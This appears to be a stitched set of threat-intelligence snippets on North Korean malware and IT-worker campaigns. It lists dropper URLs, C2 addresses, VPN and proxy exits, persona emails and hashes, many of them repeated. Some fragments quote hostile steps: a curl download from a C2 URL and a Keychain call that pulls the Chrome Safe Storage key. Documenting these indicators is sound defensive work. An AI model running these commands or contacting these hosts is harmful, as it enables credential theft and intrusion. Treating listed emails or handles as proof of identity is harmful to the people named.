vscode-settings-config.vercel.app Payload delivery vscode-toolkit-bootstrap.vercel.app Payload delivery vscodesettingstask.vercel.app Payload delivery Commit Author Emails View 57 Rows Email Notes 007anshumanaj@gmail.com Commits to malicious…","…as the plaintext levex-press and the J2TEAM-obfuscated gleb-js . Those companion payloads exfiltrated to themed Vercel endpoints such as wallet-management-tg-bot.vercel.app and polymarkettrading.vercel.app , reinforcing that this cluster was built to steal developer secrets and convert them into durable…","…in Review https://vscode-load.vercel.app/settings/windows?flag=9 url malware N/A N/A JavaScript malware dropper URL Year in Review https://web3-metric-analytics.vercel.app/api/getMoralisData url malware N/A N/A JavaScript malware dropper URL Year in Review https://zone-api-navy.vercel.app/api/ip-check/99…","…Review https://web3-metric-analytics.vercel.app/api/getMoralisData url malware N/A N/A JavaScript malware dropper URL Year in Review https://zone-api-navy.vercel.app/api/ip-check/99 url malware N/A N/A JavaScript malware dropper URL Year in Review passport-google-auth-token npm package malware N/A N/A…","…also includes a photo of Mehmet at a festival or public location, which is likely created with AI, like the other profile photos. https://huggingface.co/bigrocks918 The Mehmet Demir persona also has an account on guru.com where they state they were paid $220 from three jobs, and two employers since…","…(statically linked SEA) C2 server 195.201.194.107:8010 (WebSocket + HTTP), Hetzner Online GmbH, DE, AS24940 HuggingFace binary host https://huggingface.co/jpeek998/system-releases/resolve/main HuggingFace exfil account jpeek998 (encrypted in binary config) HuggingFace token (encrypted)…","Found on 17 September 2026 by asking Hugging Face whether an account exists under jusdy, one of the logins the registry already holds for this operator, and read from the profile cited. The account states no display name but the handle itself. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","This is IPRoyal's directory of free public proxies, not the company's paid residential network, and the servers on it belong to third parties and are used by anyone who finds the list. A match says that a connection came through a public proxy that IPRoyal listed on the day the list was read; it says nothing about who was behind it. Free proxies rotate within days, so the list is a snapshot that the weekly sync replaces, and an address here may since have gone back to ordinary use. Treat a match as a reason to look at the account behind it, never as evidence about the person.","….250 97.0.1.80 188.213.167.248 122.224.9.113 212.192.241.203 211.167.73.23 101.115.99.97 1.1.5.0 216.170.114.67 66.42.63.27 143.202.163.165 1.0.0.109 67.211.220.139 91.92.109.16 184.154.150.66 217.23.12.63 108.179.192.85 45.195.143.203 47.102.38.154 5.16.16.2 77.78.240.167 65.243.103.80 6…","…on abused services 2 upwork.management.whm@outlook.com email insider N/A N/A Administrative/testing accounts on abused services 2 1.20.169.90 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 103.106.112.166 ipv4 insider August 2024…","…유사한 사례가 알려졌는데, 'securedrive.fin-tech.com', '115.92.4.123' (KR) C2 주소가 공개된 바 있습니다. ○ 한국 사례의 C2는 'kida.plusdocs.kro.kr' 도메인이고, 연결된 IP 주소는 '1.223.129.234' (KR) 입니다.…","…and “115.92.4.123 (KR)”. ○ In the Korean case, the C2 domain was “kida.plusdocs.kro.kr,” with an associated IP address of 1.223.129.234 (KR).…","…164.1.82 11.64.1.1 91.234.35.106 193.142.58.171 188.40.184.141 91.240.118.168 185.118.167.189 216.126.196.190 139.59.209.204 18.193.102.232 100.43.129.182 81.0.250.47 168.0.0.255 103.207.39.154 59.89.120.99 62.171.176.240 209.190.122.186 5.172.39.25 190.123.44.138 5.255.117.115 85.239.33.149 5…","…255.147.215 185.70.184.39 164.155.255.81 51.254.25.115 174.133.72.250 97.0.1.80 188.213.167.248 122.224.9.113 212.192.241.203 211.167.73.23 101.115.99.97 1.1.5.0 216.170.114.67 66.42.63.27 143.202.163.165 1.0.0.109 67.211.220.139 91.92.109.16 184.154.150.66 217.23.12.63 108.179.192.85 45.195.…","These are the exit addresses of a commercial VPN service with customers everywhere. An address on this list says that a connection came through Astrill, which DPRK IT workers are documented to favour; it does not say who was behind the connection, and the great majority of traffic through these exits is ordinary customers. Treat a match as a reason to look at the account behind it, not as evidence about the person. The list is a snapshot of the addresses active on 19 December 2024; VPN exits are reassigned over time, so an address here may since have been returned to its hosting provider and given to someone else. The list is Spur's and is carried here as published.","…marogus211.wixsite.com youtube.com/@liberathachannel linkedin.com/in/lian-hung-129b47158 smart.5starlink.online facebook.com/LeoXTech IPs: 102.215.28.11 Hailong Jin: ---------------------------------------- Personas: Hailong Jin Gabriel Rodrigues de Souza Volodymyr…","…accounts on abused services 2 1.20.169.90 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 103.106.112.166 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 103.152.100.221 ipv4 insider August 2024…","…runs TruffleHog , a legitimate secrets scanner, against local repos n Remote access Persistent WebSocket RAT (connects to 103.106.67.63:1244 for commands, :1247 for WebSocket) sched Persistence Redeploys and re-establishes all modules after reboot The…","…on 31 Vercel deployments (only one active at time of analysis) resolves to platform-specific shell payloads. The final RAT connects to 103.106.67.63:1244 and automatically deploys 9 infostealer modules covering VSCode persistence, clipboard theft, browser credential harvesting,…","…has been found to serve a shell script, which then contacts the same URL to retrieve a RAT component. The Trojan connects to 103.106.67.63:1244 to await further instructions that allow it to change the current directory and execute shell commands, through which a comprehensive…","…1 91.207.174.99 91.207.206.10 91.221.66.87 91.239.130.102 94.46.23.20 95.143.193.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206…","…19 51.75.36.184 172.104.65.137 178.250.159.150 79.174.92.22 67.198.179.75 103.54.153.116 212.46.38.238 95.164.63.54 80.66.75.44 172.94.3.25 103.117.121.160 45.95.235.56 50.233.152.7 122.224.32.8 173.243.255.79 89.23.98.16 170.130.55.130 103.20.235.174 139.162.22.35 1.1.1.1 91.92.251.35 121.88.5…","…91.221.66.87 91.239.130.102 94.46.23.20 95.143.193.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.…","…239.130.102 94.46.23.20 95.143.193.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.2…","…Astrill VPN 2025-10-27 19:39:29 chai-await-utils (2.2.6) 88.216.2.162 Astrill VPN 2025-10-30 05:39:42 chai-await-test (multiple) 103.125.234.210 Astrill VPN 2025-11-03 09:38:51 chai-await-test (multiple) 64.32.17.130 Astrill VPN 2025-11-03 14:34:02 cross-sessions (2.4.1)…","…6.23.20 95.143.193.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.15…","…91.207.206.10 91.221.66.87 91.239.130.102 94.46.23.20 95.143.193.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 10…","…93.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167…","…many times this number, with more being added in real time as our investigation continues. Here is the sample list of IP addresses: 103.130.145.210 104.129.22.2 113.20.30.139 134.195.197.175 167.88.61.250 169.38.132.135 169.57.129.31 172.93.100.166 172.96.141.172 185.108.128.54…","…서버로부터 악성 파일 다운로드 curl 을 이용해:http://103.149.98.247/vs/tt/d.php?newpa=comline&wpn=soofer 해당 URL에서 파일을 다운로드 하고 c:\\users\\public\\music\\sample.db 로 저장. 5.5초 대기:WScript.Sleep 5000:다운로드 안정성을 위해 5초…","…및 방식만 다를 뿐 코드 구조가 이전에 사용했던 샘플과 유사 • 코드 내부에서 사용되는 파일명 및 폴더 경로가 이전에 사용했던 샘플과 유사 항목 샘플 정보 C2 확보 103.149.98.247/vs/t1/d.php?newpa=comline&wpn=soofer C2 확보 103.149.98.247/vs/tt/d.php?newpa=comline&wpn=soofer C2 이전…","…and steal valuable intellectual property. Impact Data Theft and Espionage Sensitive Data Exposure Indicators of Compromise IP 103.149.98.247 MD5 a9b1c04438930c0c7cff3fe8e8520317 89a725b08ab0e8885fc03b543638be96 6013a54ceee15912385ef8c41405a819 SHA-256…","…androcl.csproject.org/happy_0320/ d.php?newpa=comline&&wpn =jeffrey 942,821 a523bf5dca0f2a4ace0cf766d9225343 103.149.98.247/vs/t1/ d.php?newpa=comline&wpn =soofer 566,849 89a725b08ab0e8885fc03b543638be96 103.149.98.247/vs/tt/ d.php?newpa=comline&wpn…","…그리고 베트남 소재의 '103.149.98.248' (VN) 주소는 악성파일 C2 서버로 쓰였을 것으로 추정됩니다. ○ 특히, '1.223.129.234' (KR) 외에 '211.170.73.245' (KR), '106.243.157.158' (KR) 주소도 위협 인프라로 사용됐을 가능성이…","…The Vietnam-based address 103.149.98.248 (VN) is believed to have been used as a C2 server for distributing malicious files. ○ In particular, beyond 1.223.129.234 (KR), the…","…8 224.0.0.0 192.0.2.1 0.0.0.0 192.0.0.0 192.0.0.171 100.64.0.0 172.86.84.38 3.2.8.1 52.59.124.14 92.123.45.67 4.3.2.1 198.51.100.16 8.8.8.8 103.150.68.150 1.2.3.4 240.1.2.3 198.51.100.0 192.52.193.0 192.0.0.8 045.3.1.7 192.0.0.10 203.0.113.0 192.31.196.0 192.0.0.9 49.1.1.1 198.18.0.0 224.0.0.2…","…(may be shared origin) 2 103.106.112.166 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 103.152.100.221 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 103.155.199.28 ipv4 insider August 2024…","…(may be shared origin) 2 103.152.100.221 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 103.155.199.28 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 103.174.81.10 ipv4 insider August 2024…","….148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.…","…89.187.161.220 89.187.185.11 91.207.174.99 91.207.206.10 91.221.66.87 91.239.130.102 94.46.23.20 95.143.193.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 10…","ip 103.161.35.57 103.35.190.170 104.194.133.88 107.189.16.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.18…","…Node process Pulls its real payload from an Npoint URL and runs it in memory, never touching disk Beacons to a shared HTTP C2 at 103.170.217.184:8787 Profiles the host: hostname, user, OS, CPU/RAM, local and public IP, geolocation Steals Chrome extension storage on Windows, macOS,…","…Pulls its real payload from an [Npoint](https://www.npoint.io) URL, runs it in memory (never on disk) - Beacons to a shared HTTP C2 at `103.170.217.184:8787` - Profiles the host — hostname, user, OS, CPU/RAM, local + public IP, geolocation - Steals Chrome extension storage on Windows,…","…21 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172…","…(may be shared origin) 2 103.155.199.28 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 103.174.81.10 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 103.190.171.37 ipv4 insider August 2024…","…178.23.190.157 198.23.172.90 217.23.6.131 222.186.60.89 74.82.216.27 3.70.247.229 47.103.45.174 161.35.227.89 172.98.73.57 212.117.176.187 103.175.16.113 209.127.20.13 154.7.253.191 91.243.44.22 4.82.216.57 45.66.230.56 4.5.77.0 197.149.90.166 185.217.197.84 199.19.226.25 167.114.0.144 12.4.0…","…45.195.76.26 Dec-23 ShadowPad 50.114.5.82 Sep-24 Supershell 91.218.183.90 Apr-23 Cobalt Strike (Threat Actor (QUARTERRIG (APT29)) 103.179.142.121 Jun-23 AveMaria 136.0.3.250 Jan-25 AsyncRAT 136.0.3.71 Mar-24 Bianlian 136.0.3.240 Jan-24 Bianlian 136.0.8.169 Feb-25 Danabot…","…and resolves multiple IP addresses which are used as a C2 server. We found the following IP addresses being used by the malware – 103.179.143.219, 166.88.134.75, 23.27.13.72, 95.135.181.151 After downloading the remote payload from the server, the malware executes it using the same…","…11 110.32.117.110 82.98.235.63 188.120.194.101 2.23.43.1 20.195.196.49 3.3.14.2 209.141.61.124 58.218.200.107 66.171.248.178 216.18.197.130 103.183.118.30 185.117.72.143 104.168.160.209 58.221.71.73 121.12.104.29 159.89.214.31 174.133.126.27 115.16.79.72 206.161.205.142 216.255.189.85 12.4.11.…","…(may be shared origin) 2 103.174.81.10 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 103.190.171.37 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 103.39.70.248 ipv4 insider August 2024…","…8.238 95.164.63.54 80.66.75.44 172.94.3.25 103.117.121.160 45.95.235.56 50.233.152.7 122.224.32.8 173.243.255.79 89.23.98.16 170.130.55.130 103.20.235.174 139.162.22.35 1.1.1.1 91.92.251.35 121.88.5.183 192.3.220.6 5.181.159.76 178.16.54.109 38.154.237.100 45.61.160.28 46.105.47.148 138.201.12…","…2.58.171 188.40.184.141 91.240.118.168 185.118.167.189 216.126.196.190 139.59.209.204 18.193.102.232 100.43.129.182 81.0.250.47 168.0.0.255 103.207.39.154 59.89.120.99 62.171.176.240 209.190.122.186 5.172.39.25 190.123.44.138 5.255.117.115 85.239.33.149 5.206.227.228 181.189.152.131 188.227.57…","….159.222 84.16.234.103 209.62.108.220 209.141.42.149 170.85.221.107 94.142.138.97 222.139.151.114 18.159.59.253 121.207.229.145 61.92.48.59 103.213.247.48 20.254.53.47 104.168.32.203 198.12.107.229 20.40.97.94 37.115.98.97 2.4.0.0 141.98.6.105 91.206.92.208 148.251.71.182 54.249.210.44 061.19.…","…source Source 23.237.102.130 37.120.154.98 38.75.137.97 45.86.208.162 50.7.159.34 91.239.130.102 103.214.44.138 167.88.61.117 185.135.76.89 188.43.33.252 211.21.6.181 Contagious Interview (Recorded Future) Recorded Future…","…the cluster Source 23.237.102.130 37.120.154.98 38.75.137.97 45.86.208.162 50.7.159.34 91.239.130.102 103.214.44.138 167.88.61.117 185.135.76.89 188.43.33.252 211.211.6.181 Contagious Interview (Recorded future) https://…","…16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.…","…2 156.245.19.127 155.15.133.69 115.0.0.0 89.23.96.177 5.181.159.95 82.118.21.69 205.234.253.184 94.158.247.32 185.249.196.106 155.94.210.73 103.219.106.107 212.192.219.52 91.92.248.50 47.96.86.81 45.9.74.36 172.104.160.126 149.102.147.106 135.125.177.94 193.233.132.177 185.254.97.190 46.8.237.6…","…8 188.34.187.110 4.55.37.210 18.141.200.95 66.199.251.114 89.23.98.22 85.17.138.60 59.188.136.151 207.226.171.36 83.171.239.79 80.66.75.116 103.228.36.104 5.252.178.213 49.1.9.16 13.231.238.12 124.217.252.62 18.179.111.240 141.255.147.215 185.70.184.39 164.155.255.81 51.254.25.115 174.133.72.2…","…al.online cpanel.block-digital.online webmail.block-digital.online www.block-digital.online 69.10.53.86 141.98.168.79 198.54.116.177 103.231.75.101 45.89.53.54 199.188.200.147 198.54.119.94 192.64.119.25 45.159.248.110 http://69.10.53.86 http://141.98.168.79 https://block-digita…","…splwow32.exe , MMDx64Fx.exe Encryption Base64 + XOR with 0x49 Base64 + RC4 Number of supported commands 5 4 C&C 103.231.75.101 176.223.112.74 164.132.209.191 Version 01.01 01.01 One of the differences between AkdoorTea from 2025 and Akdoor from…","…Dynamic hosting, driverservices.store 116.125.126.38 SK Broadband Co Ltd Dynamic hosting, www.royalsevres.com 103.231.75.101 THE-HOSTING-MNT Currently hosted on WorkTitans B.V 45.159.248.110 THE-HOSTING-MNT Currently hosted on WorkTitans B.V 45.8.146.93…","…Network IOCs Indicator ASN NetBlock Service Location 103.244.174.154 9541 Cybernet (PK) 104.129.55.3 8100 QuadraNet (US)…","…27.102.113.170 183.111.226.13 27.102.113.107 27.102.113.209 cdn.glitch.global E-mail Sender 61.97.243.9 160.202.160.248 103.249.28.34 Google Drive URL…","…among other threat actor groups. Detection Opportunities Network Comms The malware communicates with a server located at https://103.27.109.217:52202 , which also hosts an administrator panel accessible on port 3458. File Artifacts The modular malware consists of several parts,…","…95.217.124.253 angeloperonline.online lianxinxiao.com sageskills-uk.com www.dalas.nl 146.70.253.107 141.98.168.79 69.10.53.86 60.93.32.117 103.35.188.237 23.227.203.204 217.148.142.113 0.10.51.212 45.61.151.174 23.227.203.192 23.227.202.51 23.227.202.52 172.86.116.90 144.172.97.7 95.179.135.1…","…URL http://103.35.190.170/Proxy.php http://86.104.72.247/Proxy.php https://45.8.146.93/proxy/Proxy.php https://86.104.72.247/proxy/Proxy.php IP…","…103.35.190.170 N/A STARK INDUSTRIES SOLUTIONS LTD 2024‑06‑24 Tropidoor C&C server.…","…SOLUTIONS LTD Currently hosted on WorkTitans B.V 86.104.72.247 STARK INDUSTRIES SOLUTIONS LTD Currently hosted on WorkTitans B.V 103.35.190.170 STARK INDUSTRIES SOLUTIONS LTD Currently hosted on WorkTitans B.V with a Russian domain in one of its resolution Observations Domain…","ip 103.161.35.57 103.35.190.170 104.194.133.88 107.189.16.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.12…","…(may be shared origin) 2 103.190.171.37 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 103.39.70.248 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 107.178.11.226 ipv4 insider August 2024…","…89.187.185.11 91.207.174.99 91.207.206.10 91.221.66.87 91.239.130.102 94.46.23.20 95.143.193.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138…","….111.174.140 185.106.94.51 112.175.69.77 185.123.53.208 154.91.64.19 51.75.36.184 172.104.65.137 178.250.159.150 79.174.92.22 67.198.179.75 103.54.153.116 212.46.38.238 95.164.63.54 80.66.75.44 172.94.3.25 103.117.121.160 45.95.235.56 50.233.152.7 122.224.32.8 173.243.255.79 89.23.98.16 170.13…","…9.187.161.180 89.187.161.220 89.187.185.11 91.207.174.99 91.207.206.10 91.221.66.87 91.239.130.102 94.46.23.20 95.143.193.150 95.216.14.148 103.6.219.221 103.16.228.16 103.50.33.16 103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 10…","…IPv4 66.235.11.117 2026-02-26 2026-02-26 IPv4 130.65.230.100 2026-02-26 2026-02-26 IPv4 103.65.230.100 2026-02-26 2026-02-26 IPv4 216.250.251.211 2026-02-26 2026-02-26 IPv4 147.124.213.19 2026-01-21…","…| OtterCookie caption - sha256 IP 216.250.251.211 216.250.251.87 45.59.163.23 45.59.163.55 38.92.47.152 103.65.230.100 147.124.213.19 66.235.175.117 66.235.175.109 147.124.202.225 67.203.7.205 147.124.213.232 172.86.73.198 URL…","…15.16.79.72 206.161.205.142 216.255.189.85 12.4.11.53 39.100.159.8 63.219.176.248 176.96.138.103 81.161.229.110 107.189.6.214 66.220.17.157 103.74.105.78 104.37.168.41 65.98.83.114 3.3.3.255 61.32.117.110 178.23.190.157 198.23.172.90 217.23.6.131 222.186.60.89 74.82.216.27 3.70.247.229 47.103…","…number, with more being added in real time as our investigation continues. Here is the sample list of IP addresses: 103.130.145.210 104.129.22.2 113.20.30.139 134.195.197.175 167.88.61.250 169.38.132.135 169.57.129.31 172.93.100.166 172.96.141.172 185.108.128.54…","…ASN NetBlock Service Location 103.244.174.154 9541 Cybernet (PK) 104.129.55.3 8100 QuadraNet (US) 104.206.40.138 62904 Eonix Corporation AstrillVPN…","…IP and domains Active Bluenoroff C2 servers 104.156.149.130 (2023-04-18 - today) 104.255.172.52 (2023-03-18 - today) 104.234.147.28 (2023-01-21 - today) 104.168.138.7 (2023-03-17 -…","…Bluenoroff C2 servers 104.156.149.130 (2023-04-18 - today) 104.255.172.52 (2023-03-18 - today) 104.234.147.28 (2023-01-21 - today) 104.168.138.7 (2023-03-17 - today) 104.168.167.88 (2022-10-17 - today) 155.138.159.45 (2022-09-20 - today) Inactive servers 104.255.172.56…","…103.111.113.26 103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.…","…188.120.194.101 2.23.43.1 20.195.196.49 3.3.14.2 209.141.61.124 58.218.200.107 66.171.248.178 216.18.197.130 103.183.118.30 185.117.72.143 104.168.160.209 58.221.71.73 121.12.104.29 159.89.214.31 174.133.126.27 115.16.79.72 206.161.205.142 216.255.189.85 12.4.11.53 39.100.159.8 63.219.176.248…","…(2023-04-18 - today) 104.255.172.52 (2023-03-18 - today) 104.234.147.28 (2023-01-21 - today) 104.168.138.7 (2023-03-17 - today) 104.168.167.88 (2022-10-17 - today) 155.138.159.45 (2022-09-20 - today) Inactive servers 104.255.172.56 (2022-09-15 - 2023-04-11) 172.93.181.221…","…2024 SentinelOne 23.254.128.114 Lazarus C2 2025 Hunt.io 104.168.214.151 ObjCShellz (swissborg.blog) 2023 Jamf 104.168.167.88 RustBucket C2 2023 Elastic The axios C2 ( 142.11.206.73 ) is in the same /18 netblock (142.11.192.0/18) as 3 other confirmed…","…campaign . VT detections and community collections for https://webhostwatto.work.gd VirusTotal last saw the domain pointing to 104.168.167.88 .…","…\"type\": \"domain-name\"}}} {\"threat\": {\"indicator\": {\"description\": \"Simple indicator of observable {104.168.167.88}\", \"ip\": [\"104.168.167.88\"], \"marking\": {\"tlp\": \"clear\"}, \"provider\": \"Elastic Security Labs\", \"reference\":…","…used against a victim in August 2023, and fetched from a fake domain support.video-meeting.online, which shared its resolved IP address (104.168.214.151) with the ObjCShellZ malware’s C2 server swissborg.blog. We assess with medium-high confidence that BlueNoroff is behind both campaigns…","…)하고,바디 데이터(setHTTPBody) 및 기타 설정을 구성 해당 코드는 HTTP 통신을 수행하고 결과를 처리하는 Objective-C 프로그램의 일부로 보이며, 성공 또는 실패에 따라 적절한 조처를 함 IP Traffic 104.168.214.151:80 (TCP) 104.76.210.89:443 (TCP) 142.250.9.94:80 (TCP) 17.248.186.177:443 (TCP) 17.248.195.72:443 (TCP) 17.248.200.66:443…","…hSx0K/fP7saoiPBc/A%3D%3D http://tp-globa.xyz/OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC http://swissborg.blog/zxcv/bnm 23.254.226.90 104.168.214.151 142.11.209.144 192.119.64.43 File paths…","…C2 (port 44) 2023 SentinelOne 23.254.253.75 Hidden Risk 2024 SentinelOne 23.254.128.114 Lazarus C2 2025 Hunt.io 104.168.214.151 ObjCShellz (swissborg.blog) 2023 Jamf 104.168.167.88 RustBucket C2 2023 Elastic The axios C2 ( 142.11.206.73 ) is in…","…to blend in with network activity. The malicious domain swissborg.blog was registered on May 31, 2023, and resolves to the IP address 104.168.214.151 .…","…2.108.220 209.141.42.149 170.85.221.107 94.142.138.97 222.139.151.114 18.159.59.253 121.207.229.145 61.92.48.59 103.213.247.48 20.254.53.47 104.168.32.203 198.12.107.229 20.40.97.94 37.115.98.97 2.4.0.0 141.98.6.105 91.206.92.208 148.251.71.182 54.249.210.44 061.19.253.26 209.59.216.158 11.76.…","…, bitbucket.org/0g_labs/rollplay-i Sibling stage-2 C2s: 216.250.249.176:1224 (Majestic Hosting / SpinServers, AS396073, Carrollton TX); 104.192.42.117:3000 (EuroHoster / AS207728, per AllSecure) Wider-cluster C2 IPs (hosting WHOIS-verified): 107.189.16.154:8353 (FranTech / PonyNet, US)…","ip 103.161.35.57 103.35.190.170 104.194.133.88 107.189.16.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.2…","The researcher notes that the current OtterCookie variant uses port 8086 for primary file exfiltration, 8085 for secondary exfiltration and 8087 for its Socket.IO C2, clipboard and log channel, and publishes a Censys query matching all three ports with an Express server on RouterHosting LLC's network. These are the hosts the query returned, which the researcher describes as C2 infrastructure that appears to be still active or recently configured: matches of a fingerprint, not samples observed calling them.","A reply to https://x.com/unpacker/status/2087145269020561711 giving further addresses that match the same three-port OtterCookie query in the researcher's own telemetry. Like the hosts in the post it answers, these are fingerprint matches.","…more 2 1 3 426 Moonlock Lab @moonlock_lab Aug 14 IOCs 🧙 githelper.store 104.194.153.144 (ports 8085, 8086, 8087) HMAC secret:…","…Show more 2 1 3 433 Moonlock Lab @moonlock_lab Aug 14 IOCs 🧙 githelper.store 104.194.153.144 (ports 8085, 8086, 8087) HMAC secret:…","…1 1 4 282 Moonlock Lab @moonlock_lab Aug 14 6/ The payload spawns 3 workers, all beaconing to 104.194.153.144. Worker 1 hits macOS: → Calls security find-generic-password -w -s \"Chrome Safe Storage\" to pull the Keychain-derived AES key → Decrypts…","…28.11 200.98.146.241 185.125.230.210 3.4.6.7 27.0.092.168 12.101.97.71 122.228.7.225 85.17.93.189 4.82.216.67 206.123.147.226 83.149.95.197 104.196.12.189 23.95.122.25 174.122.240.164 020.4.11.165 207.226.177.108 37.49.224.144 78.128.92.26 64.27.0.205 69.164.196.211 64.233.183.104 37.0.10.214…","…9541 Cybernet (PK) 104.129.55.3 8100 QuadraNet (US) 104.206.40.138 62904 Eonix Corporation AstrillVPN (US) 104.223.97.2 8100 QuadraNet…","…103.125.234.62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.2…","…3.233.132.177 185.254.97.190 46.8.237.66 89.202.157.139 154.39.239.56 121.88.5.184 85.208.108.63 167.99.115.33 222.73.85.117 149.28.222.244 104.223.67.151 162.250.98.10 185.156.73.73 193.233.254.0 194.38.20.211 198.15.82.162 179.60.149.194 193.242.145.138 194.180.191.15 193.243.147.143 162.19.…","…toyourownbeat.com zscaler-api.org IP Addresses 51.254.24.19 185.152.67.39 70.39.103.3 66.187.75.186 104.223.86.8 100.21.104.112 23.95.182.5 78.141.223.50 116.202.251.38 89.44.9.202 192.185.5.189 162.241.248.14 179.43.151.196…","…62 103.125.234.107 103.125.234.161 103.125.234.210 103.130.145.210 103.157.217.145 103.172.26.58 103.214.44.138 104.168.14.206 104.223.63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.…","…QuadraNet (US) 104.206.40.138 62904 Eonix Corporation AstrillVPN (US) 104.223.97.2 8100 QuadraNet (US) 104.223.98.2 8100 QuadraNet (US)…","…control features in corporate environments as they cannot be easily detected via EDR systems. ‍ IoC's: 155.94.255.2 – Rustdesk logs 104.223.97.2 – Rustdesk logs 83.234.227.35 – Rustdesk logs 83.234.227.37 – Rustdesk logs 83.234.227.38 – Rustdesk logs 104.223.98.2 – Rustdesk…","…folder Details from Tayvano’s “BlueNoroff Research” folder also mention Trevor Greer, trevorgreer9312@gmail.com, github.com/trevor9312, 104.223.97.2 (an Astrill VPN IP), and 91.239.130.102 (also Astrill). Infiltrating Lazarus APT Infrastructure Silent Push Threat analysts…","…from Tayvano’s “BlueNoroff Research” folder also include two Astrill VPN IP addresses that were apparently used in the attack: “104.223.97.2 (an Astrill VPN IP), and 91.239.130.102 (also Astrill).” After our team found this new domain that aligned with previous Lazarus…","…Eonix Corporation AstrillVPN (US) 104.223.97.2 8100 QuadraNet (US) 104.223.98.2 8100 QuadraNet (US) 104.243.33.74 23470 ReliableSite.Net LLC (US)…","…– Rustdesk logs 104.223.97.2 – Rustdesk logs 83.234.227.35 – Rustdesk logs 83.234.227.37 – Rustdesk logs 83.234.227.38 – Rustdesk logs 104.223.98.2 – Rustdesk logs 83.234.227.33 – Rustdesk logs 83.234.227.34 – Rustdesk logs 173.205.94.156 – Rustdesk logs 83.234.227.36 – Rustdesk…","…Unique Astrill VPN IPs included in Lazarus Group infrastructure logs include: 